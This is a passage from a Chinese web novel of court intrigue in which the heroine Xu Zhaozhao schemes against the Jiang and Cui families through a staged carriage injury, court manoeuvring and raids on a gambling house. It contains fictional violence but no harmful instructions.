朝廷收走了一部分,许家自己偷占一部分,许昭昭自己还藏了一部分呢。 如此庞大的财富,不仅仅只是因为侵占了所谓的赈灾款,毕竟那些银钱应该都是有许多朝臣一起分了。 所以,程公当年真正藏起来的,并非是朝廷的赈灾银,而是前朝皇室留下来想要复国的启动资金? 如此一说,一切便都顺理成章。 当初搜出来一部分的官银,是程公与其它人分赃后留下的。 而更多的珠宝金银,应该是前朝皇室的家底。 许昭昭也没想到,竟然还能再引出前朝的事。 前朝被覆灭已有五十余载,搁在这十四五便能成亲生子的时代,这都已以过去三辈人了,竟然还仍然有人想要光复前朝? 这些人脑子是得有多固执呀! 安心过太平日子不好吗? 何故非得将人逼上门去杀你呀! 前朝末帝那是荒淫无道之辈,忠奸不分,手上不知道染了多少忠直大臣的血。 所以,死忠于前朝皇室的,到底是些什么人? 许昭昭也没想到姜延辉会带回来这么大的一个消息,更没想到,已经被流放,更是远离了权利中心的姜延辉,竟然还能再回来! 这一次,许昭昭的心头上也涌上一股淡淡的挫败感。 她原以为自己有金手指,自己知道部分剧情,所以,她可以肆无忌惮地去狙击姜家甚至整个姜家和忠王府。 可没想到,姜家人竟然还有后招。 一个姜延辉,被多少人都遗忘的垃圾,竟然又如此高调地重回京城,更是要再次站到权利中心去。 姜家,果然是不能小觑。 同样的,许昭昭现在甚至在怀疑,这是不是老天爷都在暗中帮着姜家。 许昭昭甩甩头,将一些不太靠谱的猜测都甩出去,然后开始慢慢地捋程媛一事。 “不对!我记得当初程媛交上去的名单就有姜家,但是陛下并未降罪。后来程媛便被人掉包,暗中带走。我总觉得这里有什么地方是我们忽略的。” 谢铮闻言也开始认真地回忆,直到现在,他都不敢相信,他以为的耿直且饱学的程公,竟然会是前朝皇室的拥趸者。 这一晚,睡不着的,不止谢铮一人呀。 就连宫中的永安帝,现在也是睡不着。 身为帝王,他看到的、想到的,只会比谢铮更长远、更深入。 姜延辉一路押送着几名匪首入京,其中,就有前朝名将的子嗣,还有一名前朝皇室的遗孤。 如何处置这二人,永安帝倒是不怎么纠结,他头疼的是,程媛去哪儿了? 又是什么人,能在大理寺的重重监管之下,将程媛给救走的? 第349章 不识抬举 姜延辉的回归,预示着姜家仍然牢牢地占据着权利中位的重要位置。 陛下对姜家的宠信,仍然在。 其实,早在姜延辉出事,而宫中姜贵妃却荣宠不衰之时,大家便已经看明白了。 若是陛下对姜家厌弃,那就不可能再宠爱姜贵妃。 许昭昭也没心思再去管谢娟的婚事了,当务之急,是需要做好全方位的应对准备。 她和姜宁几次交手,对这个人也算是有所了解。 以姜宁记仇又小心眼儿的性子,一定会对她展开报复的。 所以,不能等到对方完全准备好,她必须先一步,就出手制敌。 趁着现在姜延辉还没有正式回京,一定要想办法再次狙击姜家。 如果换了别人,可能会觉得如今姜家深受帝宠,应避期锋芒。 但许昭昭却偏偏要反其道而行之。 姜家的棋子,也该动一动了。 既然姜延辉要回归,那她就可以先对姜延平动手。 姜文鹤已经死了,姜延平现在正在大力栽培庶子姜文冲,时不时有意透露出要将他记到夫人名下成为嫡子,但是又一直没有实际行动。 姜文冲是有几分心动的。 许昭昭当初选定他,就是因为知道他是庶子,一辈子出头无望,所以才会扶持起他来,好让他与其它的几位嫡公子打擂台。 结果谁能想到,姜文鹤太弱,没过几个回合便一命呜乎。 如今,这姜文冲的心大了,真以为自己就能在姜家光明正大地活着了? 姜文冲一直不知道在暗中支持他的人是谁,但他觉得,只要他能成为父亲的嫡子,日后承袭家业,必然前途坦荡光明,所以他为何还在受制于人? 不管怎么说,他都是姓姜的。 所以,姜文冲觉得自己有必要为自己争取一下。 芍药抢成男装来见他,而且还特意做了一些伪装处理。 但姜文冲的心大了,觉得没有背后之人帮着支招,他一样能在姜家站稳脚跟。 而且,父亲现在明显很看重他,哪里还需要外人来插手姜家的事务? 姜文冲没说几句话,便一脸傲气地离开了。 芍药气不过地跺了一下脚,之后到了隔壁屋子。 许昭昭就在这里,而且刚刚她和姜文冲的对话,许昭昭也都听得了个一清二楚。 “主子,我看那个姜文冲就是不知好歹!真以为没了姜文鹤,他就能成为姜延平的嫡子了,简直就是糊涂!” 许昭昭倒是不气,只是微微摇头,略有几分遗憾:“庶子果然还是不好扶持呀!眼界太过浅显,既然他这般不识抬举,那我便先给他好好上一课!” 不听话的棋子,那就没有存在的必要了。 许昭昭做事从来就不是那等心慈手软之辈,许久不动手,别人还真以为她拿不动刀了。 姜文冲约了几位好友一起去芙蓉楼吃酒,然后也不知怎地,竟与同样在那里吃酒的崔护起了争执。 虽然没有动手,但是吵得很厉害。 隔天,姜文冲着急去见一位大儒,马车驾得那叫一个飞快。 好巧不巧的,崔护正和一位同窗站在街边说话,马车直冲过来,二人反应不及时,都被撞了。 崔护的同窗还好一些,只是退了两步便避开这驾马车,自己虽然是摔了一跤,不太雅观,但好歹是没受重伤。 而崔护就不同了。 崔护被马蹄一击即中,之后摔出去两丈多远。 也不知道是麦冬是从哪里冒出来的,借着去救人的功夫,‘不小心’一脚踩在了崔护的右手腕上,换来一声惨叫! 姜文冲的马车总共伤及六人,其中崔护伤得最重,其余几人都是平民百姓,好打发,给些银钱便是。 但崔护这里,可是把姜文冲给吓坏了。 崔护的右手手腕骨折,而且当时麦冬还故意加大了力度,所以,里面的骨头怕是都碎成了好几块,就算是养好了,日后也提不得刀剑,甚至于能不能握笔都不好说。 原本是一位自小习文练武的青年才俊,经此一事,竟是废了右手,还伤及腰部。 这是完完全全地把整个人都给废了呀! 崔护的父亲崔侑望得知这个消息后,人当即便晕过去了。 他好不容易才疏通关系,在御林军中为崔护谋得一官半职,谁能想到,天降横祸! “老爷,您先别慌,夫人已经差人去请太医了,一定会有法子的。” 崔侑望醒过来后,连灌了两盏凉茶,这才由下人搀扶着去看望儿子。 崔护如今还昏迷着,压根儿不知道他的右手已经废了,崔侑望看到那包裹得如同粽子一般的手,不由得悲从中来。 他花费了那么多的心血才培养出来的儿子,竟然一朝被一辆马车给毁了。 岂有此理! “不对!我儿自幼习武,怎么可能会避不开一辆发了疯的马车?” 小厮战战兢兢回话:“公子当时吃了些酒,正与一位同窗在路边叙旧,谁也没想到会突然冲出来一辆马车,而且是直奔着公子来的呀!” 崔侑望到底是当官的,脑子还是很快就清醒过来。 “哪家的马车?” “姜家的。”小厮胆怯道:“上面有姜太傅家的标识,而当时从马车上下来的,是姜家六郎,听闻是姜文鹤的庶弟。” 姜文鹤? 崔侑望气得磨牙。 这人都死了,竟然还能再出来作乱? 他的庶弟? 而且那马车为何早不发疯,晚不发疯,偏挑在这个时候发疯? 他的儿子如今就要被废了,姜家人必然是故意为之! 于是,没等姜家那边弄明白是什么情况呢,崔侑望便直接命人去报官,然后他直奔越国公府。 越国公崔玄明,可是他的堂兄,崔护出了这么大的事,他必须要找人为孩子做主。 崔家的颜面,不能就此被姜家人给踩在脚下! 姜延平人还在公廨呢,就被姜家下人火急火燎地找过来。 “老爷,不好了,六公子被京兆府给抓了。” 姜延平皱眉:“说话怎么不清不楚的?将事情原原本本说来。” 待下人将事情始末说完,姜延平这心里咯噔一下子,怎么又是崔家? 第350章 废了 早先姜文鹤还活着的时候,就跟崔护对上一回,而且还是姜文鹤单方面太蠢,差点害死崔护。 而这一回,又是他的庶子差点害了崔护的性命。 姜延平觉得自己几个儿子好像都有些不靠谱在身上。 他现在已经认真地考虑要不要把养在外面的几个外室子给接回来了。 家里头养起来的,无论嫡庶,竟是一个都不争气! 姜延平其实心态也跟以前不同了。 他失去了一个嫡女、一个嫡子,谁能知道他内心里是有多焦虑多难过? 他倒不是多心疼那对儿女,只是单纯地心疼自己这么多年的投入,一下子都化为了乌有。 尤其是两个孩子死的都不是那么体面。 现在唯一的嫡女还只是忠王府的一个妾! 姜延平现在想想都窝火。 如果不是当初姜宁自作主张,他们姜家是有办法让她成为安王妃的,难道一个正妻的位子,还比不上一个妾? 也不知道姜宁到底看上忠王什么了,更不知道姜宁到底是哪根筋搭错了,还说什么誓死不嫁安王! 现在好了,你一个忠王府的孺人,说得好听些是皇室内眷,说的难听些,不还是个妾嘛! 现在姜文冲又惹出这样大的乱子,姜延平真心觉得累了。 怎么这家里就闹腾不休呢? 也不对,是个个都到外面去惹乱子,还不如在家里闹腾呢! 崔侑望去找崔玄明为自己做主,主要也是因为崔护一直也算是崔玄明和崔玄正兄弟俩所看重的人才。 现在崔护一下子弄成这样,右手废了是肯定的。 崔侑望现在是满腹怒气,除了想要治好儿子,就是想要让姜家付出惨重的代人! 姜文冲不过是一介小小庶子,竟然就敢伤了他寄予厚望的嫡子,这简直岂有此理! 姜延平没有办法,只好赶紧让人把这个消息给姜贵妃送去。 同时,姜太傅也被请回家中。 姜文冲自己也受了伤,但是没有那么严重,他只是从马车上摔了下来,腿骨折了,但是现在已经上了夹板,固定好,也喝了药。 姜延平一见到这个儿子,二话不说就先是一巴掌呼过去! “你这个逆子!” 姜文冲被打得脑袋一下子歪过去,嘴角立马就有血流下来,他反应没有那么快,因为脑子嗡嗡的,连带着耳鸣也出现了。 缓和一会儿之后,姜文冲才哭着求饶。 “父亲,儿子知错了。可是儿子也不知道那马为什么会在那里发疯。儿子也被摔伤了呀!” “怎么不摔死你!” 姜延平是真地气死了。 他不缺儿子。 但是缺一个争气的儿子。 如果姜文冲当场摔死,这件事情反倒好处理了,不管崔护那里受到什么样的伤害,都无所谓了,毕竟姜家都折进去一条人命了,还有什么比这个后果更严重? 可现在,主动权不在他们手里。 姜延平刚刚已经得到消息,越国公已经被请到崔家去了。 崔侑望与越国公也是族亲,叫一声堂兄也不算过分。 而他们姜家,刚刚才能将二弟弄回来,谁能想到,转眼又出这种岔子! 许昭昭对于两家的混乱自然是十分期待。 让麦冬趁机毁了崔护的手,是她的命令。 上次已经饶过崔护一次了,可是没想到,这个崔护还是不老实,他嫉妒崔冲崔述等人,可自己又没有办法在战场上立下寸功,竟然想要借机挑拨崔、许两家的关系。 这个崔护,心眼儿不是一般的坏! 正好,借此机会,一箭双雕。 无论是崔护还是姜文冲,都不是什么好东西,自去斗吧。 只要姜文冲经过这次之后,还能保全下来,那么,她不介意再推一把。 可若是姜文冲不济事,那也休怪她扔得快了。 崔护的右手断了,不仅如此,因为腰部受到撞击,甚至被几位大夫都同时诊断为再也站不起来了。 就连崔玄明派人请太医令过来亲自看过,也同样束手无策。 恰在此时,崔夫人想起之前崔护中毒一事,立马喊道:“老爷,求孙神仙,孙神仙一定有办法的!” 孙神仙? 太医令明白她说的是何人了,可眼下,他师叔并不在京城呀。 此事,崔玄明也知道一二。 “弟妹先别慌,至于孙神仙,我会派人去找。” 崔夫人却什么也听不进去:“去安信侯府,去求安乐县主,不对,应该是去护国公府求安乐县主,她一定有办法的!上次就是她将孙神仙给请来的。” 提及此事,崔侑望果然心动了。 许昭昭能请来孙神仙一次,定然会有办法再请来一次的。 而且,他现在已经不对崔护的右手抱有希望了,只愿这个儿子能重新站起来,能过正常生活就好。 他已经不敢再肖想什么功名利禄了。 可就是这样简单的要求,现在太医令也做不到。 “请恕下官医术浅薄,骨头伤了可以慢慢养,但是人体内的血液、经脉岂是简简单单就能养好的?下官实在是没有这个本事,就算是我师叔来了,也未必能治。” 太医令也不算是说假话,孙神仙更擅长解毒,也擅长治疗一些顽疾,但崔护这情况,明显已经不是什么顽疾,而是重伤呀! 如果只是骨头伤了,的确是可以养一养,但若是骨头断了呢? 伤在那个位置,没能立马要了崔护的命,就已经是奇迹了。 许昭昭做这些事,并没有特意瞒着谢铮,她知道麦冬是谢铮的人,他愿意说就说,无所谓。 不过一连两天过去,崔、姜两家闹得格外僵硬之时,谢铮也没有问过许昭昭一句,为何要这样针对一个崔护! 许昭昭对谢铮的反应还算是满意,毕竟她又不是真的古人,贤妻良母那一套,她可以装出来,但不可能真地里里外外都这样装。 许昭昭抬抬手,芍药立马带人将膳食都撤了。 谢铮很自然地起身,一只手直接就揽上许昭昭的细腰,两人慢悠悠地往月华阁走。 “崔护废了,他不可能再站起来。” 谢铮表情不变先前搂腰的动作,改为了牵手。 “他做什么惹着你了?” 第351章 脑子让驴踢了吗? 许昭昭扑哧一笑:“我以为你会劝我做事不要太狠呢。” “为什么要劝你?再说你向来就不是一个喜欢惹麻烦的人,这次能逼得你出手,一定是对方做了过分的事,要不然你才懒得动呢。” 许昭昭又乐了,谢铮还真是了解她呀。 “崔护这个人就是白眼儿狼,忘恩负义!上次他中毒,还是我托了孙神仙去帮他解的毒,结果他转头就开始在暗中指使人挑拨我们谢、许两家的关系。不仅如此,他还在暗中投靠了忠王,这一点,只怕他的父亲也不知道。” 谢铮立马顿住身形:“崔护是忠王的人?” 这一点,谢铮也不知道,所以才会如此大的反应。 许昭昭十分肯定道:“错不了。虽然他一直在努力隐藏这份利益关系,但只要想查,还是能查出来的。也是我的人办事仔细,查到今年开春的时候,他身边的一个随从突然失了踪迹,之后才查到,竟然是去给忠王办事去了。你能说这是巧合?” 原来如此! 谢铮皱眉:“这么早就开始站队,他是真不怕死呀!” 永安帝春秋鼎盛,而且忠王是庶长子,大兴朝向来是以嫡为贵,有嫡子,绝对不可能立庶子为继承人。 所以,忠王到底是哪一点打动了崔护,竟然会生出这般的心思? “昭昭,崔护拥护忠王一事,可要散出去?” “算了。没有这个必要。不过你可以借着这个机会,将这件事情捅到越国公那里。我相信崔大人心中有数。” “也好。” 崔护出了这么大的事,一辈子只能躺在床上,再不能站起来,更不要说什么文成武就了。 越国公和信宁侯一定会深究此事,毕竟崔护是崔氏家族中年轻一代里比较有前途的一位,如今废了,总要讨个说法,否则崔家的脸面何在? 谢铮便借着这个机会,找上了崔述。 崔述和乐阳郡主即将成婚,如今他的差事不忙,偶尔得闲了就跑去齐王府找乐阳郡主说话,再不然就是弄些个新奇的小物件儿送过去。 “谢三郎你说真的?” 谢铮一脸严肃:“这种事情我能骗你?那会儿我不是奉命查遂州难民的事嘛,这不是正巧就看到了一张熟面孔。当时我也没有多想,我身边的随从还提了一句,说是看着像崔护身边的人。这次崔护出事,我奉父命带了补品去探望,果然在崔护身边又看到了那位随从,这才确定,当时和忠王府的人一起出现的就是他。 崔述,这件事情说大不大,但说小也不算小。当时我禀明陛下时,并未提到忠王,更不可能提到崔家。但是事后陛下对忠王的态度,你也是瞧得清楚的,陛下耳清目明,不是那么好糊弄的! 也亏得当时只是崔护身边的一个下人出现在那里,若是崔护本人,这件事情就闹大了。我原本没有多想,还是昨日回府后,被娘子提醒了一句,这才意识到不妥,立马来告诉你。” 崔述也明白这件事情的重要性。 崔家一直都是忠于陛下的。 若是被陛下知道崔家小辈中早已有人暗投忠王,那崔家的忠心程度,就会被陛下质疑。 “多谢谢三哥,此事我会尽快禀明父亲。先走一步!” 兹事体大,崔述也顾不得那么多,立马就准备回府。 谢铮一把将人拉住。 “你先慢着,我还有一事未曾告知你。” 崔述一脸疑惑:“谢三哥请讲。” 谢铮左右看过之后,将一纸口供塞到他的手里:“你回府后再看吧。还是要请伯父来处置较为妥当。” 崔述虽然满腹疑问,但到底还是没有多耽搁,快速回府。 崔玄明听完崔述的话后,面色微凛:“此事的确是不能忽视,我即刻命人去将此事查清,至于那个随从,定然是留不得了。” 看似不起眼的一个下人,但一旦真被揪出来,到时候有证人,有口供,崔护百口莫辩,这也会进一步影响到陛下对崔家的宠信。 崔玄明、崔玄正兄弟俩是如今崔氏最有权势的人,自然不能容许这样的事情发生。 崔家已经闹出来一个崔琴的事,足以让崔家丢脸了,又怎么可能再允许年轻的儿郎们也跟着犯错? 崔述想到谢铮交给自己的东西,又立马取出来,自己先看过一遍之后,随即大惊,然后再转交给父亲。 崔玄明匆匆看过,一脸震怒:“来人!立马将信宁侯给我请过来!” 信宁侯,也就是他的亲弟弟,崔玄正,崔琴之父。 父子二人眼神对上,一时间只觉得事情好像是越来越糟。 “去公主府将冲儿叫过来。” “是,父亲。” 崔冲尚公主,但宁朔公主为了彰显自己与崔家的亲近,所以一直就住在信宁侯府,并没有搬去公主府住着,如此一来,崔冲自然也就留在府里了。 但是自打崔琴的事情闹出来之后,公主便觉得颜面有失,所以搬去了公主府,崔冲也跟着一起搬过去了。 崔冲前脚到书房,崔玄正后脚也就跟进来了。 四人看过东西之后,一时间谁也没有先开口。 崔玄正气得想打人,但屋里这几个,他一个也不能打,原地转圈后,一脚踢翻了一张绣凳。 “这个崔护,他脑子是让驴给踢了吗?为何故意引着崔琴到谢家姑娘跟前去?而且还散播不利于许昭昭的流言,许昭昭惹他了?人家好像还是他的救命恩人吧!不仅如此,当初邓家大郎陷害许君锋一事,他竟然也掺了一脚,他是嫌自己日子过得太舒坦了吗?” 崔玄正接连又是一段咒骂,所有人都有些意难平。 崔琴也算是崔护的堂妹呀! 他到底是怎么想的? 崔琴的名声坏了,崔家姑娘们都讨不到好处。 而崔护做这些,到底是图什么? 尤其是他为何要故意散播许昭昭的一些谣言。 就那些说许昭昭怕了崔家的、许昭昭也不过就是一个软包子,再有钱也没用等等,这是在故意贬低许昭昭,抬高崔氏? 这尼玛是在毁崔氏吧! 第352章 许昭昭出手,又狠又准! 崔玄明安排下去的人这一查可不要紧,差点儿没吓死! 崔护不仅仅是忠王的拥趸者,更是一个妥妥的蠢货! 崔玄明和崔玄正兄弟俩甚至都开始怀疑,他们到底是不是瞎了眼,为什么会认为崔护是小辈中的佼佼者呢? 一个堂堂崔氏子弟,竟然被姜宁那个贱人利用得如此彻底! 比如说当初在暗中帮着邓大郎一起陷害许君锋时,就是姜宁借用了崔护的一些人手,不然也不会查到崔护的头上。 除此之外,姜宁还利用崔护的人手对付过谢婵,就是故意往外散播一些谢婵被人退亲,是因为相貌丑陋或者是另有隐疾之类的话。 这个姜宁,还真是大事不敢做,小动作却是不断呀。 崔护身边的那个随从是铁定活不了了。 不仅如此,就连崔侑望身边的人都被挨个查问一遍。 也是直到此时,崔侑望才意识到自己的儿子到底是把跑走偏了多少。 谁能想到呢! 至于姜文冲,他的下场也没好多少。 他自己受了伤,之后被姜延平甩了两巴掌,又被罚去跪祠堂。 总之,才刚刚觉得自己可以了的姜文冲,这一瞬间好像才清醒地意识到,他从来都不了解父亲,也从来都不知道姜家到底是什么样的存在。 崔家人是一致对外的。 就算是崔护蠢,崔护做错了事,但自有崔家人来出手教训,自然不会容许被外姓人欺负了。 所以,姜文冲就被推到了台前。 这种事情,赵长清也不知道该怎么判了。 首先肯定一点,姜文冲的马突然发疯,从而导致几人受伤,这是事实,辩无可辩。 姜文冲也承认这一点,但是不管是姜家人,还是赵长清派去的人,都没有在马身上发现什么疑点,所以能说是崔护倒霉吗? 但崔护之所以被撞得那么重,主要原因之一,就是他自己醉酒了,所以反应也变慢,没有办法及时地做出反应。 现在崔护是成了废人,一个只能瘫痪在床的病人,没死,但是生不如死。 姜文冲虽然有罪,但是归根结底,驾车的人不是他。 这才是真正让赵长清头疼的地方。 车夫要重判,但是严格来说马车里面的姜文冲,也是一名受害者。 但崔家如今恼了姜文冲,赵长清能怎么办? 好在姜文冲只是一介庶子,姜延平为了能平息崔家的怒火,直接二话不说,当堂打断了姜文冲的腿,并且明确表示,不会给他请大夫医治。 换言之,姜文冲的一条腿废了,也算是抵罪。 当然,姜延平知道崔家在意的是什么,所以还是十分诚恳地表示,他会遍寻天下名医,只愿能治好崔护。 但事实上,崔家现在还指望崔护吗? 崔侑望看到那些东西时,人都傻了。 怎么也没想到,自己的亲儿子,自以为有才学有武力值的亲儿子,竟然能做出这么多的蠢事! “这件事,我知道怎么做了。至于护儿,我会安排下人伺候好他,好在护儿已经成亲生子,日后,我便悉心教导几个孙儿吧。” 不过是短短一瞬,崔侑望竟像是老了好几岁一样。 崔玄明也只是跟着微微叹息。 要怪,只能怪崔护太蠢! 崔护被下令严格看管起来,对外,只说是他身子不好,且受不了这个打击,时常发疯,所以并不允许再有外人来探望。 但崔夫人还是日日过去照料,哪怕再忙,每天也定会抽出一两个时辰过去陪陪自己的亲儿子。 崔玄明和崔玄正查到的事情越多,便越恨姜宁。 但是区区一个内宅妇人,不足以承受他们的怒火。 所以,这股子愤怒,便直接冲击到了姜延辉的身上。 姜延平才刚刚处置了自己的亲儿子,他们两家算是刚结完仇,所以崔家也不会直接对姜延平动手。 但姜延辉就不同了。 他立下大功,圣上有意让他官复原职,原本崔家对此是觉得无所谓的。 但现在就不一样了。 还想官复原职? 呸! 休想! 原本姜太傅也以为十拿九稳之事,竟然在姜延辉进京前一晚就发生了变化。 永安帝褒奖了姜延辉,但是朝堂之上,还有不少人都将姜延辉此前做出的事翻出来了。 朝堂之上,众目睽睽,姜太傅再有本事,也不能把这些罪名都给推翻。 要知道,那是大理寺给出的结论,而且圣上也是过目的。 所以,他要敢说一句姜延辉是冤枉的,那就等着被陛下迁怒吧。 “启禀陛下,我二弟虽然之前曾犯过错,但他也曾为此付出了代价,如今戴罪立功,无论是否能官复原职,只要陛下愿意宽恕他的罪过即可。” 姜延平的脑子转得快,这会儿立马以退为进。 官职不重要,重要的是陛下的态度。 其实永安帝也是考虑到姜延辉是姜贵妃的亲哥哥,若是真地一直在外流放,也不合适。 如今姜延辉自己争气又回来了,这是好事。 但是,之前的职位,好像真地不再合适了。 虽说姜延辉先前的贪污受贿所得都已经上交国库,但错了就是错了,不可能再给他一次继续作恶的机会。 “姜延辉一路也辛苦了,大理寺和刑部配合调查,至于姜延辉,先回姜家休息,旨意过几日会下达。” “谢陛下!” 姜太傅的心头一抽,他听得出来,陛下对姜延辉已经心生不喜,不可能再重用他了。 也罢,只要这个儿子回来就好。 哪怕官职低些,有他这个老父亲在呢,谁敢小看姜延辉? 谢铮站在朝堂上,不由得倒吸一口凉气,娘子出手,又狠又准呀! 姜府,书房。 “父亲,此次押送回来的这几人中,竟没有一个与程媛认识的。我无意中听闻程缙的消息,但是赶过去时,并没有任何发现。父亲,咱们找了他这么多年,始终没有一条真实的消息,他会不会早就死了?” 姜太傅摇头:“不可能!程缙此人之才,丝毫不亚于其父。当年程家落难,程缙也刚好在那个时间段失踪,这绝对不是巧合。至于程媛,那个女人不过就是被他摆在台面上的一个幌子罢了,救走程媛的人,兴许就是他安排的。” 第353章 许昭昭继续精准打击 程媛是前朝皇室后裔,这原本就是姜太傅故意让姜延辉这个时候透露出来的。 想要让儿子将功赎罪,总得需要拿一个大功劳才行。 结果没想到,大功劳倒是摆上来了,但是临时又被崔家给插上一脚。 说来说去,也怪姜家教子不严,得罪了崔家。 有关程媛身世的证人、证据,都已经呈至宫中。 永安帝也只是草草看过之后,便交由底下人去查实。 眼下程媛人在哪儿都不知道,就算是知道了她的身世又如何? 永安帝只是觉得心烦,恼恨在这关键时刻,才发现程媛竟然不见了。 而事实上,知道了程媛的身世,大理寺要查的线索可就太多了。 比如说以前但凡是和程媛有过接触的人,都要接受问询。 比如说当年与程家关系较近的一些高门勋贵、曾经在程家当过仆从,哪怕只当过一天的仆从,也都要想办法叫过来一一问话。 这个工作量可是相当大的。 但是再难干,大理寺也得硬着头皮继续查。 这都曝出前朝皇室余孽了,哪里还敢大意? 谁敢嫌活太多了? 这个时候,埋头干活就是最安稳的,千万别想着去陛下跟前晃悠,指不定就会给自己带来麻烦。 崔家与姜家对上了,这正是许昭昭想要的结果。 她就不信,就算是有主角光环,这姜家还能成了打不死的小强? 姜宁第一世的时候,那姜家人不都死绝了吗? 况且她都能把女主正妻的位置给弄没了,又怎么会害怕所谓的主角光环? 许昭昭和姜宁不和,这几乎是全京城都知道的事。 所以,许昭昭开始蓄力打击姜宁的产业,那也是理所当然的。 如今姜宁的产业,基本上都是以她的嫁妆为主。 姜宁如今嫁为人妇,上面还有一位正妻压着,所以她不可能时常出府,而她手上并没有那么多得用的人,所以,这就给了许昭昭机会。 先前没有一下子把人摁死,就是因为顾忌着一位忠王呢。 这一回,自然也不能把人的产业都给榨干,毕竟,牛羊还得养肥了再宰再划算。 而且,现在姜宁在她眼里连牛羊都算不上,更像是一只鸡。 许昭昭现在就等着姜宁的产业越来越好,然后许昭昭就可以毫不费力地一下子收割大批的鸡蛋了。 啧,想想都美! 许昭昭狙击姜宁的产业同时,也没忘了姜家。 但是这一次,许昭昭出手就很小心了。 毕竟姜家有一位姜太傅呢,而且姜延平和姜延辉两人也都不是省油的灯,所以她做事都是极为小心。 姜家的一些产业屡屡出现问题,自然也引起了姜太傅的注意。 比如说姜家在暗中入股的赌坊,五日之内被县衙给查抄了两次,这能说完全都是运气不佳的原因吗? 两次查抄,现场所有的银钱全都被收归衙门所有,而且两次都正巧有几位大赌徒在,这银钱的数目自然也不少。 两次查抄,让赌坊的直接损失就达到了十万贯钱。 除此之外,因为五日内两次被官府查抄,所以嗜赌之人都认定了这家赌坊得罪了官府,日后也不得安宁,所以再没了来此赌钱的打算。 如此一来,赌坊内没了赌徒,拿什么赚钱? 再有,两次查抄之时,少不得要损坏一些东西,同时还要再由赌坊这边的主事拿钱去疏通关系、上交一些罚资等等,这又是一笔开支。 总之,赌坊的事情闹得最大,而且还查不出一丁点的问题来。 姜延平可不是个好唬弄的。 “越是查不出问题,才越有问题。到底是什么人在暗中与我姜家为敌?” 姜延辉倒不觉得对方是冲着姜家来的。 “大哥,有没有可能,是因为同行嫉妒所致?” 姜延平却十分肯定:“不可能!赌坊背后的东家是我们,这一点,很多同行都知道,就算是不知道,他们也能猜到背后的靠山是他们惹不起的存在,怎么可能还会故意与我们做对?” 姜延辉一怔,随即也点点头。 这话有道理呀。 自古商不与官为敌。 再有钱,也架不住官员手中的权势打压。 哪怕只是一个小官,也不是富商能得罪得起的。 不是同行,那就只能是姜家的敌人。 可姜家在朝中竖敌颇多,再加上姜家人在外行走,向来张狂,谁知是否有在无意中得罪人? 一时间,姜家两兄弟也是都头疼不已。 这等小事,自然不可能拿到姜太傅跟前去说。 如今姜延辉的官职还没有着落,总得先顾着大事。 许昭昭两次让人去报官,两次都精准地狙击到了赌坊,连带着赌坊里的大客户,这下子,京城自然就更热闹了。 两次都是同一位大客户,这下子,不仅是姜家多心,就连那位赌徒都跟着多心了。 好巧不巧的,这位赌客正是从江南来的富家公子,因为科举无望,所以便想着带些钱财来京城,看看能否请人帮自己写一封举荐信,想着日后也谋个官身,也能为家中生意护航。 可他没想到,京城的权贵的确多,但不是他能够得着的。 几次碰壁之后,自然就想开始自暴自弃,然后流连花丛还不解气,又开始出入赌坊了。 结果,两次都被官府给查抄了钱财,他如何能不多心? 被他这么一嚷嚷,这家赌坊好像就是故意的,谁知道这背后到底是不是与官府勾结在一起,之后再分赃呢? 这下子可算是捅了马蜂窝。 一时间京城中关于赌坊的各种流言蜚语不休,议论的人多了,自然就会上达天听。 赵长清身着官服,一脸愁容:“陛下,如今京城关于赌坊一事流言纷飞,更有甚者以为是与官府勾结,此言与我大兴朝廷不利,还请陛下决断。” 永安帝一脸不满:“这等小事,何需到朕跟前禀报?” 赵长清无奈,只得隐晦道:“回禀陛下,京城中赌坊约有八成都与权贵沾边儿,臣也没有办法。臣倒是直接平息民愤,但问题是,这些赌坊的背后的的确确是有我朝廷官员的影子,臣实在是不知该如何出手制止流言。” 第354章 针对的不仅仅只是姜家 事实上,赌坊不可能直接悬个牌子往门上一挂,就写:赌坊二字! 大兴文化兴盛,且在京城这样的地方,自然是文人雅士居多。 所以,很多富有诗意的名字,你若是进去了,才会发现这里是赌坊。 比如说,姜氏做主的那家赌坊,便叫瑶池琼林。 京城中还有几家,比如说聚宝盆、风云阁、雅博轩等等,这些都是赌坊。 大兴其实也是禁赌的。 但是禁得没有那么厉害。 但商家也知道不可以明目张胆地直接就喊:“我这里是赌坊,来我这里财一把吧,包赢!” 许昭昭也是来到这里之后才知道的,上辈子,她在影视剧里偶尔能看到赌坊,有的就是这么赤裸裸地写着赌坊二字。 所以,许昭昭还以为这里也会是一样。 直到后来她出门逛了几次街之后,才发出疑问:“怎么不见赌坊呢?” 也是那个时候,身边的人才做出解释,之后许柱子更是曾经带她到京城人气比较旺的几家赌坊外面转一圈,她才知道赌坊原来是不能直接叫赌坊的。 比如说姜家做主的那个瑶池琼林,里面就不仅仅有赌,而且还有其它的各种吃、喝、玩、乐。 雅一些的,还有投壶、双陆等游戏,但真正让赌坊赚钱的,就是那些真金白银上桌来赌的项目。 因为大兴禁赌,所以不会有哪个达官贵人名目张胆地告诉人家,我是这家赌坊背后真正的主子。 现在被赵长清拿到了台面儿上来说,底下不少人都变了脸色。 永安帝也知道其中一些蹊跷,他其实也无意要断了所有朝臣们的发财之路。 毕竟他们额外有了进项,应该不至于那么贪朝廷的钱了。 “诸位爱卿以为呢?” 下面的臣子们开始议论纷纷,主要就是文臣们在商议,至于武将,他们光明正大地摸鱼,这属于治国策略,他们不懂,所以他们也不出声,就装木头就行。 可永安帝却没想着放过他们。 文臣们这边都纷纷提出了不同的看法。 “陛下,以臣看,还是我大兴朝的律法需要完善。太祖皇帝继位时,为了表示自己的宽厚仁德,所以于赌博一事上,制定的惩罚稍微轻了些,微臣建议加重惩罚,以此来惩戒那些赌徒!” 大兴开国后,的确就制定了详细的法律条文来规范赌博行为。 《兴律疏议》中明确规定了赌博的处罚措施。 根据赌资的多少,处罚从杖刑到徒刑不等。 具体来说,参赌者所得赃物不满绢价五匹者,各杖一百;达到绢价五匹者,比照偷盗论罪,判徒刑一年。 如果赢的是多人的财物,则累计对折论罪。 赌输之人,按从犯定罪。 开赌场及提供赌具者,不收财物者杖一百,收财物者比照盗窃论罪。 但其实,大兴还有赎刑的说法。 也就是说,比如说要杖我三十,但我出钱,三十贯钱,大概就可以免我被施以杖刑。 更不要说一些官宦子弟了,这律法,基本上就是管不到他们头上的。 比如说你抓了一位皇亲国戚家的小纨绔去赌钱了,而且金额巨大,你敢对他施以杖刑吗? 就算是他不赎刑,你也不敢真打。 你敢打他一下,他兴许就能要了你的命! 所以,律法是律法,如何执行下去,还得看人。 